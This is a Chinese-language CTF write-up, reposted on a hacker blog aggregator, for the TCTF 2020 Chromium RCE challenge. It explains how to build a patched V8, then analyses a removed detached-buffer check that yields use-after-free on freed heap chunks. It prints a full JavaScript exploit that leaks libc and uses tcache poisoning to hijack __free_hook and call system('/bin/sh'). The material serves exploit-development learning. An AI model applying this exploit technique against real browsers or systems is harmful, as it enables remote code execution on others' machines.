记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

透过tcft2020的chromium_rce学习V8

2020-07-31 10:02

本文是前段时间tcft2020国际赛Chromium RCE的题解,本题难度较低,比较适合作为V8的入门题练手。

题目说明:

It's v8, but it's not a typical v8, it's CTF v8! Please enjoy pwning this d8 :)
nc pwnable.org 40404
Attachment here
Enviroment: Ubuntu18.04
Update: If you want to build one for debugging, please
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b

0x01 环境搭建

需要个梯子,才能把v8源码拉下来,这里算是个坑。

编辑~/.gitconfig,ip、端口对应改一下

[http]
proxy = http://10.211.55.2:1087
[https]
proxy = http://10.211.55.2:1087

~/.zshrc添加这两条

alias proxy="export ALL_PROXY=http://10.211.55.2:1087"
alias unproxy="unset ALL_PROXY"

这样就可以开始配置v8,先安装depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo 'export PATH=$PATH:"/path/to/depot_tools"' >> ~/.zshrc

安装ninja

git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"/path/to/ninja"' >> ~/.zshrc

编译v8,题目给了hashf7a1932ef928c190de32dd78246f75bd4ca8778b

fetch v8 && cd v8
git checkout f7a1932ef928c190de32dd78246f75bd4ca8778b
gclient sync

#打入patch
git apply 'path/to/tctf.diff'

#配置
tools/dev/v8gen.py x64.debug

#编译
ninja -C out.gn/x64.debug

如果只是想编译d8的话,最后一个命令后面加个d8的参数ninja -C out.gn/x64.debug d8

编译release版本

tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

找到/out.gn/x64.debug/d8就是编译好的v8

为方便gdb调试,在~/.gdbinit添加

source /path/to/v8/tools/gdbinit
source /path/to/v8/tools/gdb-v8-support.py

0x02 题目分析

分析diff.patch,出题人把--allow-native-syntax支持删了,这样就把%DebugPrint%SystemBreak砍掉了,没法调试。保留了%ArrayBufferDetach,并且不需要--allow-native-syntax参数。为了方便调试,对patch文件进行了修改

diff --git a/src/builtins/typed-array-set.tq b/src/builtins/typed-array-set.tq
index b5c9dcb261..babe7da3f0 100644
--- a/src/builtins/typed-array-set.tq
+++ b/src/builtins/typed-array-set.tq
@@ -70,7 +70,7 @@ TypedArrayPrototypeSet(
// 7. Let targetBuffer be target.[[ViewedArrayBuffer]].
// 8. If IsDetachedBuffer(targetBuffer) is true, throw a TypeError
// exception.
- const utarget = typed_array::EnsureAttached(target) otherwise IsDetached;
+ const utarget = %RawDownCast<AttachedJSTypedArray>(target);

const overloadedArg = arguments[0];
try {
@@ -86,8 +86,7 @@ TypedArrayPrototypeSet(
// 10. Let srcBuffer be typedArray.[[ViewedArrayBuffer]].
// 11. If IsDetachedBuffer(srcBuffer) is true, throw a TypeError
// exception.
- const utypedArray =
- typed_array::EnsureAttached(typedArray) otherwise IsDetached;
+ const utypedArray = %RawDownCast<AttachedJSTypedArray>(typedArray);

TypedArrayPrototypeSetTypedArray(
utarget, utypedArray, targetOffset, targetOffsetOverflowed)
diff --git a/src/d8/d8.cc b/src/d8/d8.cc
index 117df1cc52..9c6ca7275d 100644
--- a/src/d8/d8.cc
+++ b/src/d8/d8.cc
@@ -1339,9 +1339,9 @@ MaybeLocal<Context> Shell::CreateRealm(
}
delete[] old_realms;
}
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
Local<Context> context =
- Context::New(isolate, nullptr, global_template, global_object);
+ Context::New(isolate, nullptr, ObjectTemplate::New(isolate),
+ v8::MaybeLocal<Value>());
DCHECK(!try_catch.HasCaught());
if (context.IsEmpty()) return MaybeLocal<Context>();
InitializeModuleEmbedderData(context);
@@ -2260,10 +2260,7 @@ void Shell::Initialize(Isolate* isolate, D8Console* console,
v8::Isolate::kMessageLog);
}

- isolate->SetHostImportModuleDynamicallyCallback(
- Shell::HostImportModuleDynamically);
- isolate->SetHostInitializeImportMetaObjectCallback(
- Shell::HostInitializeImportMetaObject);
+ // `import("xx")` is not allowed

#ifdef V8_FUZZILLI
// Let the parent process (Fuzzilli) know we are ready.
@@ -2285,9 +2282,9 @@ Local<Context> Shell::CreateEvaluationContext(Isolate* isolate) {
// This needs to be a critical section since this is not thread-safe
base::MutexGuard lock_guard(context_mutex_.Pointer());
// Initialize the global objects
- Local<ObjectTemplate> global_template = CreateGlobalTemplate(isolate);
EscapableHandleScope handle_scope(isolate);
- Local<Context> context = Context::New(isolate, nullptr, global_template);
+ Local<Context> context = Context::New(isolate, nullptr,
+ ObjectTemplate::New(isolate));
DCHECK(!context.IsEmpty());
if (i::FLAG_perf_prof_annotate_wasm || i::FLAG_vtune_prof_annotate_wasm) {
isolate->SetWasmLoadSourceMapCallback(ReadFile);

给v8打上patch,编译一份debug版本

漏洞点在于:patch删去了对Attached状态的check,都默认为Attached,导致被释放的chunk是可读写的。

像这样可以申请一块glibc的chunk,var chunk0 = new Uint8Array(0x100);,但这样是通过calloc去分配,没法分配到tcache的堆块

释放以后,链入tcache,%ArrayBufferDetach(chunk0.buffer);

%DebugPrint(chunk0.buffer);可以打印出chunk信息

var chunk0 = new Uint8Array(0x300);
%ArrayBufferDetach(chunk0.buffer);
%DebugPrint(chunk0.buffer);

调试方法:
gdb启动d8,设置参数set args --allow-natives-syntax /path/to/js_file。在js代码需要断下的地方写一条%SystemBreak();,这样便会触发DebugBreak断下。

构造unsorted bin,leak出libc地址

tcache attack攻击__free_hook

在js中,需要通过以下形式去调用malloc,通过calloc无法分配到tacache bins

function malloc(size){
var chunk = {};
chunk.length = size;
var addr = new Uint8Array(chunk);
return addr;
}

劫持__free_hook触发system('/bin/sh')

完整exp

function b2i(a){
var b = new BigUint64Array(a.buffer);
return b[0];
}

function i2l(i){
var b = new Uint8Array(BigUint64Array.from([i]).buffer);
return b;
}

function hex(i){
return '0x'+i.toString(16).padStart(16, '0');
}

function malloc(size){
var chunk = {};
chunk.length = size;
var addr = new Uint8Array(chunk);
return addr;
}

var chunk0 = new Uint8Array(0x1000);
var chunk1 = new Uint8Array(0x1000);
var chunk2 = new Uint8Array(0x1000);
var chunk3 = new Uint8Array(0x1000);

%ArrayBufferDetach(chunk0.buffer);
%ArrayBufferDetach(chunk1.buffer);

//%DebugPrint(chunk0.buffer);
chunk2.set(chunk1);

var libc_base = b2i(chunk2.slice(8, 16)) - 0x3ebca0n;
var free_hook = libc_base + 0x3ed8e8n
var system = libc_base + 0x4f4e0n //remote: 0x4f440n
console.log('libc_base: '+hex(libc_base));
//%SystemBreak();

var chunk4 = new Uint8Array(0x300);
var chunk5 = new Uint8Array(0x300);

%ArrayBufferDetach(chunk4.buffer);
%ArrayBufferDetach(chunk5.buffer);

chunk5.set(i2l(free_hook));
var chunk6 = malloc(0x300);
var chunk7 = malloc(0x300);
chunk7.set(i2l(system));
//%SystemBreak();

chunk6[0] = 0x2f;
chunk6[1] = 0x62;
chunk6[2] = 0x69;
chunk6[3] = 0x6e;
chunk6[4] = 0x2f;
chunk6[5] = 0x73;
chunk6[6] = 0x68;
chunk6[7] = 0x00;

%ArrayBufferDetach(chunk6.buffer);

chromium_rce.zip (6.504 MB) 下载附件

知识来源: xz.aliyun.com/t/8057

阅读:15966 | 评论:0 | 标签:学习

想收藏或者和大家分享这篇好文章→复制链接地址

“透过tcft2020的chromium_rce学习V8”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云